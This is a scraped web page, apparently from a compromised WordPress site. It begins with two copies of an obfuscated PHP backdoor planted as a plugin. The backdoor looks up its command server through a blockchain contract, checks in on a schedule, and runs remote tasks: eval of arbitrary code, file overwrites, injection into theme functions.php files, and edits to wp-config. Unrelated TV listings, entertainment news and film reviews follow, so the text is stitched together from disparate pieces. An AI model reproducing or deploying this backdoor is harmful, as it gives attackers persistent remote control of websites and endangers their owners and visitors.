// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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This weekly feature is in addition to TVLine’s daily What to Watch listings and monthly guide to What’s on Streaming.

With more than 530 scripted shows now airing across broadcast, cable and streaming, it’s easy to forget that a favorite comedy is returning, or that the new “prestige drama” you anticipated is about to debut. So consider this our reminder to set your DVR, order a Season Pass, pop a fresh Memorex into the VCR… however it is you roll.

This week, you’ll find 19 premieres (including the returns of The Alienist, Corporate and Room 104), eight finales (including Black Monday, Grantchester and the last-ever episode of Blindspot) and myriad specials (including the Challenge reunion and Jim Gaffigan’s latest stand-up set).

SUNDAY, JULY 19
8 pm Black Monday Season 2 finale (Showtime)
8 pm P-Valley time slot premiere (Starz)
9 pm The Alienist Season 2 premiere (TNT)
9 pm Grantchester Season 5 finale (PBS)
10 pm Beecham House Season 1 finale (PBS)
10 pm Gordon Ramsay: Uncharted Season 2 finale (NatGeo)
10 pm United Shades of America Season 5 premiere (CNN)

MONDAY, JULY 20
3 am The Andy Cohen Diaries series premiere (Quibi)
3 am Die Hart series premiere (Quibi)
3 am The Expanding Universe of Ashley Garcia Part 2 premiere (Netflix)
7 pm The ReidOut series premiere (MSNBC)
8 pm Hoarders Season 11 premiere (A&E)
10 pm Intervention Season 21 premiere (A&E)

TUESDAY, JULY 21
3 am Jack Whitehall: I’m Only Joking stand-up special (Netflix)
3 am Street Food: Latin America series premiere (Netflix)

WEDNESDAY, JULY 22
3 am Fear City: New York vs. the Mafia docuseries premiere (Netflix)
3 am Love on the Spectrum series premiere (Netflix)
8 pm The Challenge: Reunion special (MTV)
9 pm Game On! Season 1 finale (CBS)
10 pm The Oval Season 1 finale (BET; special time)
10:30 pm Corporate final season premiere (Comedy Central)
11 pm American Injustice: The Fight for Police Reform special (BET)

THURSDAY, JULY 23
3 am The Dog House series premiere (HBO Max)
3 am Tig N’ Seek series premiere (HBO Max)
8 pm Celebrity Watch Party Season 1 finale (Fox)
9 pm Blindspot series finale (NBC)
10 pm Lost Resort series premiere (TBS)
10 pm Tacoma FD returns (truTV)

FRIDAY, JULY 24
3 am Jim Gaffigan: The Pale Tourist stand-up special (Amazon Prime)
3 am The Kissing Booth 2 movie premiere (Netflix)
3 am Rogue Trip series premiere (Disney+)
8 pm The Greatest #AtHome Videos returns (CBS)
11 pm Room 104 final season premiere (HBO)

SATURDAY, JULY 25
8 pm NBA Countdown special (ABC; two hours)

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This weekly feature is in addition to TVLine’s daily What to Watch listings and monthly guide to What’s on Streaming.

With more than 530 scripted shows now airing across broadcast, cable and streaming, it’s easy to forget that a favorite comedy is returning, or that the new “prestige drama” you anticipated is about to debut. So consider this our reminder to set your DVR, order a Season Pass, pop a fresh Memorex into the VCR… however it is you roll.

This week, you’ll find 24 premieres (such as P-Valley, United We Fall and Peacock’s inaugural slate of originals, including Brave New World and Psych 2), 11 finales (including The Bold Type, Dirty John and Snowpiercer) and myriad specials (including NBC’s 30 Rock reunion/Upfront).

SUNDAY, JULY 12
8 pm Hightown Season 1 finale (Starz)
9 pm Snowpiercer Season 1 finale (TNT; two episodes)
9 pm P-Valley series premiere (Starz; special time)

MONDAY, JULY 13
8 pm CMA Best of Fest special (ABC)
10 pm Celebrity Call Center series premiere (E!)

TUESDAY, JULY 14
3 am The Business of Drugs docuseries premiere (Netflix; all episodes)
9 pm Showbiz Kids documentary premiere (HBO)
10 pm Dirty John Season 2 finale (USA Network)
10 pm Hot Ones: The Game Show returns (truTV)

WEDNESDAY, JULY 15 — PEACOCK LAUNCH!
3 am Brave New World series premiere (Peacock)
3 am The Capture series premiere (Peacock)
3 am Cleopatra in Space series premiere (Peacock)
3 am Curious George series premiere (Peacock)
3 am In Deep With Ryan Lochte documentary premiere (Peacock)
3 am Intelligence series premiere (Peacock)
3 am Lost Speedways With Dale Earnhardt Jr. docuseries premiere (Peacock)
3 am Psych 2: Lassie Come Home TV-movie premiere (Peacock)
3 am Where’s Waldo? series premiere (Peacock)
8 pm United We Fall series premiere (ABC; two episodes)
9 pm Game On! time slot premiere (CBS)
10 pm American Soul Season 2 finale (BET)

THURSDAY, JULY 16
3 am Fatal Affair original movie premiere (Netflix)
3 am House of Ho series premiere (HBO Max)
3 am Indian Matchmaking series premiere (Netflix; all episodes)
3 am MILF original movie premiere (Netflix)
8 pm 30 Rock: A One-Time Special (NBC)
8 pm Celebrity Watch Party Season 1 finale (Fox)
8 pm Killer Camp series premiere (The CW)
9 pm Heartland Season 13 finale (UPtv)
9 pm Labor of Love Season 1 finale (Fox)
10 pm The Bold Type Season 4 finale (Freeform)
10 pm Impractical Jokers: Dinner Party Season 1 finale (truTV)
10:30 pm The Misery Index Season 2 finale (TBS)

FRIDAY, JULY 17
3 am Absentia Season 3 premiere (Amazon Prime; all episodes)
3 am Cursed series premiere (Netflix; all episodes)
3 am Into the Dark: The Current Occupant episode premiere (Hulu)
3 am It’s a Dog’s Life With Bill Farmer Season 1 finale (Disney+)
3 am We Are Freestyle Love Supreme documentary premiere (Hulu)

For the latest renewal/cancellation status on your favorite shows, visit our Cable, Streaming and Broadcast-TV renewal scorecards.

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A Capitol Fourth is set to mark its 40th anniversary with a completely overhauled show.

In light of the coronavirus pandemic, PBS’ annual 4th of July celebration will not be held on the West Lawn of the U.S. Capitol. Instead, the special will feature pre-taped performances from iconic locations across the country, including Los Angeles, Nashville, New York, Philadelphia and Washington D.C. It will then conclude with a live fireworks show from the nation’s capitol.

The 90-minute broadcast (which begins at 8/7c) will be hosted by John Stamos (who returns for a fourth-consecutive year) and Vanessa Williams. Yolanda Adams, Trace Adkins, Lauren Alaina, Renée Flemming, John Fogerty, Brantley Gilbert, Mandy Gonzalez, Andy Grammer, Patti LaBelle, Brian Stokes Mitchell, Kelli O’Hara and The Temptations are scheduled to perform.

A Capitol Fourth will also pay tribute to American heroes who continue to put their lives at risk on the frontlines of the COVID-19 crisis. The segment will include a performance of the Oscar-nominated song “I’m Standing With You” by This Is Us star Chrissy Metz.

As far as counter-programming goes, NBC at 8 pm will air the Macy’s 4th of July Fireworks Spectacular. The two-hour broadcast will be hosted by Today‘s Craig Melvin and feature Black Eyed Peas, The Killers, Lady A, John Legend, Tim McGraw, Brad Paisley and National Youth Poet L­­aureate Amanda Gorman.

Over on CNN, Don Lemon and Dana Bash will preside over The Fourth in America, a four-hour celebration with performances by Burt Bacharach and musicians from the Berklee College of Music, Pat Benatar and Neil Giraldo, Billy Ray Cyrus, Andy Grammer, Harlem Gospel Choir, Jewel, Kenny Loggins, Barry Manilow, Martina McBride, Don McLean, The O’Jays, Carlos Santana and Cindy Blackman Santana, CeCe Winans, Jesse Colin Young and Little Kids Rock, and the Broadway casts of Ain’t Too Proud: The Life and Times of the Temptations and Girl From the North Country.

Press PLAY on the video above to watch A Capitol Fourth, then hit the comments with your thoughts on the forced revamp.

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Organizers of San Diego Comic-Con appear to be taking a “show must go on” approach to this year’s event.

In a tweet directed at potential attendees, SDCC brass gave the impression that the 2020 convention — scheduled for late July — could still happen. This despite stark warnings from the federal government that the coronavirus pandemic could last well into summer.

“To our amazing Comic-Con and WonderCon fans: We understand how difficult the current climate has been for all of us and appreciate your continued support through these trying times,” read the tweet. “No one is as hopeful as we are that we will be able to celebrate #SDCC2020 together come July. As we continue to monitor the situation with local authorities, we will post updates on our social channels! Until then, remember: ‘A hero is an ordinary individual who finds strength to persevere and endure in spite of overwhelming obstacles.’ — Christopher Reeve.”

Back in February, several major Hollywood studios were already contemplating the possibility of pulling out of the fan convention. “There’s obviously concern,” said one unnamed exec at a major studio. “For now we’re taking a wait-and-see approach.”

SDCC is big business for San Diego, last year generating an estimated $ 149 million in regional impact to the city.  Hotels begin accepting reservations later this month, so a decision is expected soon.

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This weekly feature is in addition to TVLine’s daily What to Watch listings.

With nearly 500 scripted shows now airing across broadcast, cable, streaming and whatever “Dekkoo” is, it’s easy to forget that a favorite comedy is returning, or that the new “prestige drama” you anticipated is about to debut. So consider this our reminder to set your DVR, order a Season Pass, pop a fresh Memorex into the VCR… however it is you roll.

This week, you’ll find over 15 premieres (including Love Island and the long-delayed Scream), three finales (including American Princess) and so much more.

Sunday, July 7
9 pm Endeavour Season 6 finale (PBS)
9 pm The Movies docuseries premiere (CNN)
10 pm American Princess Season 1 finale (Lifetime; two episodes)
10:30 pm Peabody Presents: Stories of the Year (FX)

Monday, July 8
8 pm MLB Home Run Derby (ESPN)
9 pm Scream Season 3 premiere / Night 1 of 3 (VH1; two episodes)

Tuesday, July 9
3 am Aziz Ansari: Right Now stand-up comedy special (Netflix)
7:30 pm MLB All-Star Game (Fox)
8 pm Love Island series premiere (CBS; 90 minutes)
9 pm Farrah Fawcett Forever: A Biography Special (A&E)
9 pm Scream Season 3, Night 2 of 3 (VH1; two episodes)
10 pm Bring the Funny series premiere (NBC)
10 pm The Disappearance series premiere (WGN America)

Wednesday, July 10
3:00 am Family Reunion series premiere (Netflix; all episodes)
3:00 am Harlots Season 3 premiere (Hulu; first two episodes)
9 pm Scream Season 3 finale / Night 3 of 3 (VH1; two episodes)
10 pm Florida Girls series premiere (Pop)
10 pm Snowfall Season 3 premiere (FX)

Thursday, July 11
3 am Escape the Night Season 4 premiere (YouTube; first two episodes)
8 pm Jersey Shore Family Vacation Season 3 premiere (MTV)
9 pm Hollywood Game Night Season 6 premiere (NBC)
9 pm The Outpost Season 2 premiere (The CW)

Friday, July 12
3 am 3 Below Part 2 premiere (Netflix; all episodes)
3 am Blown Away series premiere (Netflix; all episodes)
7 pm SpongeBob’s Big Birthday Blowout special (Nickelodeon)
9 pm Shangri-la docuseries premiere (Showtime)

Saturday, July 13
6 pm Injustice With Nancy Grace series premiere (Oxygen)
8 pm JFK Jr. and Carolyn’s Wedding: The Lost Tapes special (TLC)

For the latest renewal/cancellation status on your favorite shows, visit our Cable, Streaming and Broadcast-TV renewal scorecards.

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An awkward family meeting ensues in the first trailer for Divorce Season 3.

HBO on Saturday announced that the Sarah Jessica Parker comedy will return on Monday, July 1 — a full 16 (!) months after its Season 2 finale aired.

The six-episode season follows Frances (Parker) and ex-husband Robert (Thomas Haden Church) as they “encounter surprises that spin their post-divorce lives in unexpected directions,” according to the official logline.

As TVLine first reported, Las Vegas vet James Lesure will appear this season as Frances’ new love interest. Returning cast members include Molly Shannon, Becki Newton, Talia Balsam, Sterling Jerins and Charlie Kilgore, as well as recurring guest star Tracy Letts.

Divorce was renewed for Season 3 back in November. At the time, it was revealed that Liz Tuccillo (Sex and the City) would take over as showrunner and executive producer, succeeding Season 2 boss Jenny Bicks.

In addition to Divorce, HBO’s summer slate includes Big Little Lies Season 2 (premiering Sunday, June 9), the Fred Armisen comedy Los Espookys (premiering Friday, June 14), the Zendaya-led teen drama Euphoria (premiering Sunday, June 16) and Succession Season 2 (premiering in August; exact date TBA).

Press PLAY on the trailer above, then drop a comment below: Are you looking forward to Divorce’s return?

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Netlfix bestowed a New Year’s gift to all Stranger Things fans last night: the release date of the show’s third season. Stranger Things 3 will debut on July 4, 2019.

Just before 2018 ended, Netflix tweeted out another trailer for Stranger Things 3 (the above video is a shortened version from Netflix’s YouTube channel). The nearly four-minute-long clip takes viewers back to New Years’ Eve 1985, specifically Dick Clark’s iconic New Year’s Rockin’ Eve broadcast. Mysterious interferences interrupt the broadcast, sending static onto the screen along with strange messages like “when blue and yellow meet in the west.”

We also learn that the Starcourt Mall advertisement from a previous teaser trailer is a commercial that ran during Dick Clark’s broadcast—at least in the Hawkins, Indiana area.

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While we rang in 2019 on the East Coast, Netflix decided it was time to drop a new detail about one of its most-anticipated series, Stranger Things. An 80s-era rendition of Dick Clark’s New Year’s Eve broadcast turns Upside Down, revealing a premiere date for the show’s third season: July 4th, 2019. Since you’ve probably seen the show you can expect that celebrations won’t go exactly according to plan, while key art and the teaser trailer drop in a “One summer can change everything” tag line.

See you on Independence Day!

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22 July: Somewhere around the 25-minute mark of Paul Greengrass’ harrowing dramatization of the 2011 Oslo terror attacks, I had to really ask myself if I wanted to keep watching a madman pick off teenagers one by one. It’s a question worth asking yourself before pressing play, and no one will blame you if your answer is a hard “no.” But there’s much to recommend in Greengrass’s latest, though he expends a bit too much screen time on how mean people were to the shooter’s lawyer, drifting into the waters of morally dubious false equivalence, and the creation of a big dramatic face-off to conclude the film feels a touch contrived. But it’s undeniably effective; what the survivor (Jonas Strand Gravli, searing) says, and how he says it, is pointed and potent.

The Kindergarten Teacher: Maggie Gyllenhaal is smashingly good as a 20-plus year kindergarten teacher who takes an intense interest in a student that seems to be a poetry prodigy — perhaps, it soon seems, too intense an interest. Writer/director Sara Colangelo (adapting Nadav Lapid’s 2014 Israeli film) shifts from character drama to comedy of desperation and back again, and does so with such nimble grace, we hardly notice the sense of dread she’s sneaking in. It becomes one of those films where there’s no doubt something terrible is going to happen; it just becomes a matter of what, and when. The pieces don’t all snap into place, but the skill and bravado of that Gyllenhaal performance keeps the picture humming.

ON KANOPY

